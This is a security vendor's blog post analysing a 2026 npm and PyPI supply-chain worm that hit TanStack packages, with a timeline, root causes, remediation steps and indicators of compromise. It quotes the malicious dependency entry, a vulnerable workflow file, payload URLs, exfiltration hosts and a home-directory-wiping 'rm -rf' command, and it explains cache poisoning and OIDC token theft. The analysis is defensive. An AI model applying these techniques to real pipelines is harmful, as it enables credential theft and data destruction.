Strobesstrobes
Platform
Solutions
Resources
Customers
Company
Pricing
Book a Demo
Strobesstrobes

Strobes connects every exposure signal to autonomous action, so security teams fix what matters, prove what works, and stop chasing noise.

Book a DemoTalk to an expert
ISO 27001SOC 2CREST
  • Platform
  • Platform Overview
  • Agentic Exposure Management
  • AI Agents
  • Integrations
  • API & Developers
  • Workflows & Automation
  • Analytics & Reporting
  • Solutions
  • Exposure Assessment (EAP)
  • Attack Surface Management
  • Application Security Posture
  • Risk-Based Vulnerability Management
  • Adversarial Exposure Validation (AEV)
  • AI Pentesting
  • Pentesting as a Service
  • CTEM Framework
  • By Industry
  • Financial Institutions
  • Technology
  • Retail
  • Healthcare
  • Manufacturing
  • By Roles
  • CISOs
  • Security Directors
  • Cloud Security Leaders
  • App Sec Leaders
  • Resources
  • Blog
  • Customer Stories
  • eBooks
  • Datasheets
  • Videos & Demos
  • Exposure Management Academy
  • CTEM Maturity Assessment
  • Pentest Health Check
  • Security Tool ROI Calculator
  • Company
  • About Strobes
  • Meet the Team
  • Trust & Security
  • Contact Us
  • Careers
  • Become a Partner
  • Technology Partner
  • Partner Deal Registration
  • Press Release

Weekly insight for security leaders

CTEM research, agentic AI trends, and what's actually moving the needle.

© 2026 Strobes Security Inc. All rights reserved.

Privacy PolicyTerms of ServiceCookie PolicyAccessibilitySitemap
Back to Blog
The TanStack npm Attack That Punishes You for Fixing It — 170+ packages compromised, 84 malicious versions, 6 min publish window, 518M cumulative downloads
Supply Chain SecurityCybersecurity

The TanStack npm Supply Chain Attack That Hit 170 Packages and Punishes You for Revoking Your Token

Shubham JhaMay 13, 202613 min read

Table of Contents

  • What Got Hit
  • The Full Attack Timeline
    • Phase 1: Fork Setup (May 10)
    • Phase 2: The Pwn Request (May 11, Morning)
    • Phase 3: Detonation (May 11, Evening)
  • Why the Packages Passed Every Security Check
  • What the Malware Does Once Installed
  • The Dead-Man's Switch
  • The Correct Order of Operations If You Were Affected
  • The Three Root Causes
    • Root Cause 1: pull_request_target Pwn Request in bundle-size.yml
    • Root Cause 2: GitHub Actions Cache Poisoning Across Trust Boundaries
    • Root Cause 3: OIDC Token Extraction from Runner Memory
    • Why All Three Were Required
  • This Is a Campaign, Not an Incident
  • The PyPI Variants Behave Differently
  • The UiPath Variant
  • Detection and Response Timeline
  • IOC Fingerprints
  • What This Means for Your Own Pipelines
  • One Last Thing
  • References

Authors

S
Shubham Jha

Share

Table of Contents

  • What Got Hit
  • The Full Attack Timeline
    • Phase 1: Fork Setup (May 10)
    • Phase 2: The Pwn Request (May 11, Morning)
    • Phase 3: Detonation (May 11, Evening)
  • Why the Packages Passed Every Security Check
  • What the Malware Does Once Installed
  • The Dead-Man's Switch
  • The Correct Order of Operations If You Were Affected
  • The Three Root Causes
    • Root Cause 1: pull_request_target Pwn Request in bundle-size.yml
    • Root Cause 2: GitHub Actions Cache Poisoning Across Trust Boundaries
    • Root Cause 3: OIDC Token Extraction from Runner Memory
    • Why All Three Were Required
  • This Is a Campaign, Not an Incident
  • The PyPI Variants Behave Differently
  • The UiPath Variant
  • Detection and Response Timeline
  • IOC Fingerprints
  • What This Means for Your Own Pipelines
  • One Last Thing
  • References

Authors

S
Shubham Jha

Share

On May 11, 2026, between 19:20 and 19:26 UTC, an attacker published 84 malicious versions across 42 @tanstack/* npm packages in a 6-minute window. No npm credentials were stolen. No maintainer accounts were phished. The entire team had 2FA enabled. None of it mattered.

The packages passed SLSA provenance checks, carried valid signed certificates, and looked 100% legitimate to every security tool checking cryptographic proof of origin.

The worst part is what happens when you find out. If one of these packages was installed on your machine, there is a script running right now that polls your GitHub token every 60 seconds. The moment you revoke that token, the way every security playbook says to it runs rm -rf ~/. Your entire home directory is gone. The correct response is the trigger.

And TanStack was just the start. By the end of the day, the same threat group had compromised over 170 packages across npm and PyPI, including Mistral AI, UiPath, OpenSearch, and Guardrails AI. CVE-2026-45321. CVSS 9.6. The first documented supply chain worm to ship malicious packages with valid, signed provenance certificates.

Here is every technical detail of how this attack happened, in the exact order it happened.

What Got Hit

The TanStack npm supply chain attack hit 42 packages from the @tanstack/* family. 84 malicious versions total across two workflow runs, 6 minutes apart.

Confirmed clean families: @tanstack/query*, @tanstack/table*, @tanstack/form*, @tanstack/virtual*, @tanstack/store, and the @tanstack/start meta-package (not @tanstack/start-). The blast radius is the router-adjacent family. @tanstack/react-router alone pulls over 12 million weekly downloads.

The Full Attack Timeline

TanStack npm Supply Chain Attack Full Attack Flow
TanStack npm Supply Chain Attack — Full Attack Flow across three phases on May 10–11, 2026

Phase 1: Fork Setup (May 10)

Time (UTC)Event
17:16Attacker creates a fork of TanStack/router under the account zblgg (ID 127806521), immediately renames it "zblgg/configuration" to dodge fork-list searches
23:29Malicious commit 65bf499d authored under fake identity claude [claude@users.noreply.github.com], prefixed [skip ci]. Adds packages/history/vite_setup.mjs: ~30,000 lines of obfuscated JS. A second account, voicproducoes (ID 269549300), is also involved.

Phase 2: The Pwn Request (May 11, Morning)

Time (UTC)Event
~10:49PR #7378 opened against TanStack/router#main titled "WIP: simplify history build."
10:49 onwardsbundle-size.yml and labeler.yml (both pull_request_target) auto-trigger. pr.yml uses pull_request and correctly blocks pending first-time-contributor approval that never came
11:01–11:11Multiple force-pushes, each triggering new pull_request_target runs, likely testing cache write success
11:11Final force-push lands 65bf499d. benchmark-pr job checks out refs/pull/7378/merge and runs pnpm nx run @benchmarks/bundle-size:build, executing vite_setup.mjs
11:29Poisoned cache entry (1.1 GB) saved under key Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11, scoped to refs/heads/main
11:31Attacker force-pushes PR back to current main HEAD (b1c061af), making it a zero-file no-op. PR closed, branch deleted. Poison persists.

The workflow author attempted a trust split by keeping benchmark-pr "untrusted with read-only permissions." It failed because actions/cache@v5 post-job save uses a runner-internal token, not GITHUB_TOKEN. The permissions: field only controls the GitHub_TOKEN scope. Cache writes are not blocked by it.

Since GitHub Actions cache is scoped per-repo and shared across all trigger types, a pull_request_target run from a fork PR writes into the same namespace that production push-to-main workflows read from.

Phase 3: Detonation (May 11, Evening)

Time (UTC)Event
19:15Manuel merges routine PR #7369 (CSS.supports fix). Push to main triggers release.yml, run 25613093674
19:15:44The Setup Tools step restores the poisoned 1.1 GB pnpm cache. Attacker-controlled binaries now on the production runner
19:15:44 onwardsMalware reads /proc/pid/maps and /proc/pid/mem of Runner.Worker process, extracts OIDC token from live memory, POSTs directly to registry.npmjs.org using the trusted-publisher binding for release.yml@refs/heads/main
19:20:39First publish wave: @tanstack/history@1.161.9 and 41 sibling packages
19:20:47Run 25613093674 completes. Status: failure
19:16Manuel merges PR #7382 (jiti tsconfig paths fix). Second push triggers run 25691781302. Same poisoned cache, same OIDC extraction
19:26:14Second publish wave: @tanstack/history@1.161.12 and second version per package for all 42 packages
19:26:20Run 25691781302 completes. Status: failure

Total publish window: 6 minutes 35 seconds. The workflow's own Publish Packages step was skipped because tests failed. The malware was published during the test/cleanup phase before the workflow exited.

Why the Packages Passed Every Security Check

What made the TanStack npm supply chain attack unusually dangerous is that the packages were published via the OIDC trusted-publisher binding for TanStack/router release.yml@refs/heads/main, which is exactly what npm uses to generate and verify SLSA provenance. They had valid, signed certificates. To npm's provenance system and every SLSA checker, these were indistinguishable from legitimate TanStack releases.

No npm credentials were stolen. No maintainer tokens touched. 2FA was irrelevant. The attack used the real OIDC token from the real release workflow's runner.

Tanner Linsley called it the first documented npm worm in history that ships with a valid, signed certificate of authenticity, the same one defenders rely on to know a package was not tampered with.

It gets worse. The worm forges Sigstore-compatible in-toto provenance attestations for every package it republishes via worm propagation. Secondary victims' packages, Mistral AI, UiPath, and others, also carried what appeared to be valid SLSA provenance. The attestation failure mode extended to every worm-propagated package, not just the initial TanStack publish.

What the Malware Does Once Installed

When npm install, pnpm install, or yarn install runs against an affected version, npm resolves a malicious optionalDependencies entry:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

This fetches the orphan payload commit from the fork network and runs the prepare lifecycle script, executing router_init.js, a 2.3 MB obfuscated file at the tarball root.

Credential harvesting: AWS credentials from IMDS and Secrets Manager, GCP metadata tokens, Kubernetes service account tokens, Vault tokens, ~/.npmrc, GitHub tokens from environment variables, the gh CLI, and .git-credentials, SSH private keys.

Exfiltration: Everything goes over the Session/Oxen messenger file upload network via filev2.getsession.org and seed1/2/3.getsession.org. Session uses end-to-end encryption. No attacker-controlled server IP to block. The data cannot be intercepted in transit.

Self-propagation: The malware queries registry.npmjs.org/-/v1/search?text=maintainer:<your-username>, finds every npm package you maintain, and republishes all of them with the same injection. Your packages become the next delivery vehicle. This is how the worm spread from TanStack to Mistral AI, UiPath, and over 200 additional packages.

Persistence beyond uninstall: The worm writes copies of itself into developer tooling directories that survive npm uninstall entirely: .claude/router_runtime.js, .claude/settings.json configured to hook into every Claude Code tool event, and .vscode/tasks.json. Removing the package does not remove these files.

Dead-man's switch: Covered in the next section.

2nd-stage payload URLs: https://litter.catbox.moe/h8nc9u.js and https://litter.catbox.moe/7rrc6l.mjs (both taken down post-disclosure).

The Dead-Man's Switch

After credential harvesting, the malware drops a persistent background service.

On Linux: ~/.local/bin/gh-token-monitor.sh, registered as a systemd user service. On macOS: ~/Library/LaunchAgents/com.user.gh-token-monitor.plist, registered as a LaunchAgent.

The service polls api.github.com/user every 60 seconds with the stolen GitHub token. HTTP 200: idles. HTTP 40x: runs rm -rf ~/ immediately.

The moment you revoke the compromised token, your home directory is deleted.

"It looks like the payload installs a dead-man's switch at ~/.local/bin/gh-token-monitor.sh as a systemd user service (Linux) / LaunchAgent com.user.gh-token-monitor (macOS). It polls api.github.com/user with the stolen token every 60s, and if the token is revoked (HTTP 40x), it runs rm -rf ~/. (It looks like it might also have a bunch of persistence mechanisms. I haven't studied these closely.)" Researcher Carlini, issue #7383

The "bunch of persistence mechanisms not yet fully analyzed" matters. Do not assume removing the service file is sufficient.

The Correct Order of Operations If You Were Affected

Do not revoke any credentials first.

Step 1: Disarm the dead-man's switch. On Linux: check for ~/.local/bin/gh-token-monitor.sh and run systemctl --user list-units | grep gh-token-monitor. If found, stop and disable the service and delete the script and unit file. On macOS: check ~/Library/LaunchAgents/com.user.gh-token-monitor.plist. If found, run launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist then delete the plist.

Step 2: Check for persistence files that survive uninstall. Delete all of these before assuming the machine is clean npm uninstall does not touch them:

  • .claude/router_runtime.js
  • .claude/settings.json
  • .claude/setup.mjs
  • .vscode/tasks.json

Step 3: Rotate credentials from a clean machine. Rotating from the compromised host risks new credentials being captured if the malware is still active.

Step 4: Rotate everything reachable from the install host. AWS, GCP, Kubernetes, Vault, GitHub tokens, npm tokens, SSH keys. If you use 1Password or Bitwarden, rotate those master credentials too. The PyPI variant specifically targeted password managers.

Step 5: Audit your own npm packages. Check for any versions published on May 11, 2026, that you did not publish.

Step 6: Block at the DNS or proxy level: git-tanstack[.]com, 83.142.209[.]194, .getsession.org

The Three Root Causes

Three vulnerabilities chained together made this TanStack npm supply chain attack possible. Each was necessary. None alone was sufficient.

Root Cause 1: pull_request_target Pwn Request in bundle-size.yml

on:
  pull_request_target:
    paths: ['packages/', 'benchmarks/']
jobs:
  benchmark-pr:
    steps:
      - uses: actions/checkout@v6.0.2
        with:
          ref: refs/pull/${{ github.event.pull_request.number }}/merge
      - uses: TanStack/config/.github/setup@main
      - run: pnpm nx run @benchmarks/bundle-size:build

ref: refs/pull/7378/merge checks out the attacker's fork code. The run: step executes it. This is the pattern GitHub Security Lab named "Pwn Request." The read-only permissions split failed because actions/cache@v5 post-job saves use a runner-internal token, not GITHUB_TOKEN. The permissions: field does not block cache writes.

Root Cause 2: GitHub Actions Cache Poisoning Across Trust Boundaries

Cache in GitHub Actions is scoped per-repository and shared across all trigger types. pull_request_target runs from fork PRs write into the same cache namespace that push-to-main production workflows restore from. vite_setup.mjs computed the exact key release.yml would restore: Linux-pnpm-store-$\{hashFiles('**/pnpm-lock.yaml')\}. It poisoned the pnpm store under that key during the PR run. release.yml restored it on the next main push. This attack class was documented by Adnan Khan in May 2024. Not a TanStack-specific bug.

Root Cause 3: OIDC Token Extraction from Runner Memory

release.yml declares id-token: write for npm OIDC trusted publishing. The runner mints the OIDC token lazily in memory when this permission is set. The attacker's binaries read /proc/pid/maps and /proc/pid/mem of the Runner.Worker process to extract it directly from live memory. This is the verbatim Python memory-dump script from the tj-actions/changed-files compromise of March 2025, attribution comment included. Zero novel code.

npm's trusted-publisher binding validates the token came from TanStack/router's release.yml on refs/heads/main. It does not verify which step inside the workflow minted the token. Once id-token: write is declared, any code executing in that workflow can mint a valid publish token.

Why All Three Were Required

pull_request_target without executing the fork code is safe. Cache poisoning without a publish vehicle does nothing. OIDC extraction requires existing code execution on the runner. The chain works because each vulnerability bridges the trust boundary that the others assumed intact: fork PR code into base repo cache, base repo cache into production workflow runtime, production runtime into npm registry write access.

This Is a Campaign, Not an Incident

The TanStack npm supply chain attack was the entry point of a coordinated campaign. The threat group is TeamPCP. The campaign name is Mini Shai-Hulud, named after the sandworms in Frank Herbert's Dune. Dead-drop commit branch names across all compromised repos are taken from the same saga. Every malicious repository carries the description "Shai-Hulud: Here We Go Again."

This is not TeamPCP's first wave. They compromised Aqua Security's Trivy scanner in March 2026, the Bitwarden CLI npm package in April 2026, and SAP npm packages in late April 2026. Each wave escalates. This wave is notable for being the first to achieve valid SLSA provenance on malicious packages and the first to cross from npm into PyPI in a single coordinated campaign.

By the end of May 11, over 170 packages were confirmed compromised across npm and PyPI, with over 400 malicious versions published. 518 million cumulative downloads across affected packages. Over 400 repositories were created using stolen credentials, all with Dune-themed names.

The PyPI Variants Behave Differently

The npm and PyPI payloads are not the same. The Guardrails AI PyPI package (guardrails-ai@0.10.1) contained only 13 lines of new code. Those 13 lines download and execute a payload from git-tanstack[.]com/tmp/transformers.pyz. Unlike the npm variant, this payload is not obfuscated. It runs only on Linux, exits if it detects Russian-language environment settings or fewer than four CPUs, and for the first time in any TeamPCP wave, targets password managers, including 1Password and Bitwarden.

When executed on systems with Israel or Iran locales, the malware attempts to play an MP3 file at full volume and delete files on the system.

The guardrails-ai@0.10.1 compromise is especially notable because the malicious code executes on import, not just on install. Importing the package in a Python script is enough to trigger the payload.

The mistralai PyPI package (mistralai@2.4.6) exfiltrates to 83.142.209[.]194 with GitHub as a fallback channel. When using the GitHub fallback, stolen tokens create repositories with the description "PUSH UR T3MPRR."

The UiPath Variant

65 UiPath npm packages were hit with a preinstall script called node setup.mjs. This is the same delivery mechanism used in the earlier SAP compromise. The UiPath variant uses a re-obfuscated version of the same payload with a different campaign key but identical C2 infrastructure.

Detection and Response Timeline

Time (UTC)Event
~19:50External researcher Carlini opens issue #7383 with a full technical write-up, 20 minutes after publish. Identifies the initial 14 of 42 affected packages. Simultaneously notifies npm security
~20:00Maintainer Manuel acknowledges the issue. Incident response begins
~20:10Manuel removes push permissions from all other team members as a precaution
~20:30Tanner emails security@npmjs.com with the full IOC list. Formal malware reports submitted via npm
~21:00Full scan of all 295 @tanstack/ packages confirms scope: 42 packages, 84 versions. Deprecation begins. Public disclosure via @tan_stack on Twitter/X, LinkedIn, Bluesky. GitHub Security Advisory published. CVE-2026-45321 requested
21:30bundle-size.yml Pwn Request vector identified. All GitHub Actions cache entries purged across all TanStack/ repos. Hardening PR merged: bundle-size.yml restructured, repository_owner guards added, third-party action refs pinned to commit SHAs.

Detection was entirely external. TanStack had no internal alerting on their own npm publishes.

IOC Fingerprints

Malicious optionalDependencies in any @tanstack/ package.json:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
  • File in tarball: router_init.js (~2.3 MB, package root, outside "files" field)
  • Poisoned cache key: Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11
  • 2nd-stage payload URLs (taken down): https://litter.catbox.moe/h8nc9u.js, https://litter.catbox.moe/7rrc6l.mjs
  • Exfiltration endpoints: filev2.getsession.org, seed1/2/3.getsession.org, 83.142.209[.]194, git-tanstack[.]com
  • Forged commit identity: claude [claude@users.noreply.github.com] (fabricated GitHub no-reply email, not Anthropic's Claude)
  • Attacker accounts: zblgg (ID 127806521), voicproducoes (ID 269549300)
  • Attacker fork: github.com/zblgg/configuration
  • Orphan payload commit: 79ac49eedf774dd4b0cfa308722bc463cfe5885c
  • Malicious workflow runs: github.com/TanStack/router/actions/runs/25613093674, github.com/TanStack/router/actions/runs/25691781302
  • Dead-man's switch: Linux: ~/.local/bin/gh-token-monitor.sh + systemd user service | macOS: ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
  • Persistence files surviving uninstall: .claude/router_runtime.js, .claude/settings.json, .claude/setup.mjs, .vscode/tasks.json
  • GitHub repository marker: "Shai-Hulud: Here We Go Again" in repo description
  • CVE: CVE-2026-45321 | GHSA: GHSA-g7cv-rxg3-hmpx | Severity: Critical (CVSS 9.6)

What This Means for Your Own Pipelines

The TanStack npm supply chain attack used three publicly documented techniques, zero novel code, and hit 12 million weekly downloads. If any of your GitHub Actions workflows use pull_request_target and execute fork code, you have the same root vulnerability.

If a pull_request_target workflow can write to cache and a production workflow restores from the same cache key, you are vulnerable to the same GitHub Actions cache poisoning attack documented by Adnan Khan in 2024.

If your release workflow has id-token: write for OIDC trusted publishing, any code executing during that workflow can mint a registry token. A poisoned pnpm store is one path. There are others.

Hardening steps TanStack applied: restructure pull_request_target workflows to not execute fork code, add repository_owner guards, and pin all third-party action refs to commit SHAs.

One Last Thing

Supply chain attacks like this one do not start with a zero-day. They start with a pull_request_target workflow nobody audited, a cache key nobody scoped, and an OIDC permission nobody restricted. Most teams find out about these exposures the same way TanStack did: from someone else.

See what your attack surface looks like before that happens.

References

  • TanStack official postmortem: tanstack.com/blog/npm-supply-chain-compromise-postmortem
Tags
TanStacknpm supply chain attackGitHub Actionscache poisoningOIDC token extractiondead man switchSLSA provenancenpm malwareCVE-2026-45321

Stop chasing vulnerabilities Start reducing exposure

See how Strobes AI agents validate and fix your most critical exposures automatically.

Book a Demo
Continue Reading

Related Posts

Top 10 Data Breaches of April 2026 - Monthly Security Briefing
Data BreachesCybersecurity

Top 10 Data Breaches of April 2026

The biggest data breaches of April 2026 ranked and analyzed, from Checkmarx supply chain poisoning to Salesforce misconfigurations and ransomware hitting two major US banks.

May 1, 202615 min
Top CVEs of April 2026 - CVE Roundup
CVEVulnerability Intelligence

Top 7 Critical CVEs of April 2026 You Need to Act On Now

The top CVEs of April 2026 were exploited in hours. Marimo RCE, Windows IKE, Fortinet EMS, GitHub GHES, ActiveMQ, and more. Attack scenarios, risk context, and fixes.

May 1, 202622 min
Checkmarx and Bitwarden supply chain attack: Your CI/CD pipeline is the attack surface
CybersecurityVulnerability Intelligence

Checkmarx and Bitwarden Just Showed That Your Pipeline Is the Attack Surface

How the Checkmarx supply chain attack compromised Bitwarden's CLI pipeline in four minutes, what was stolen, and the program design gap that made it possible.

Apr 29, 20267 min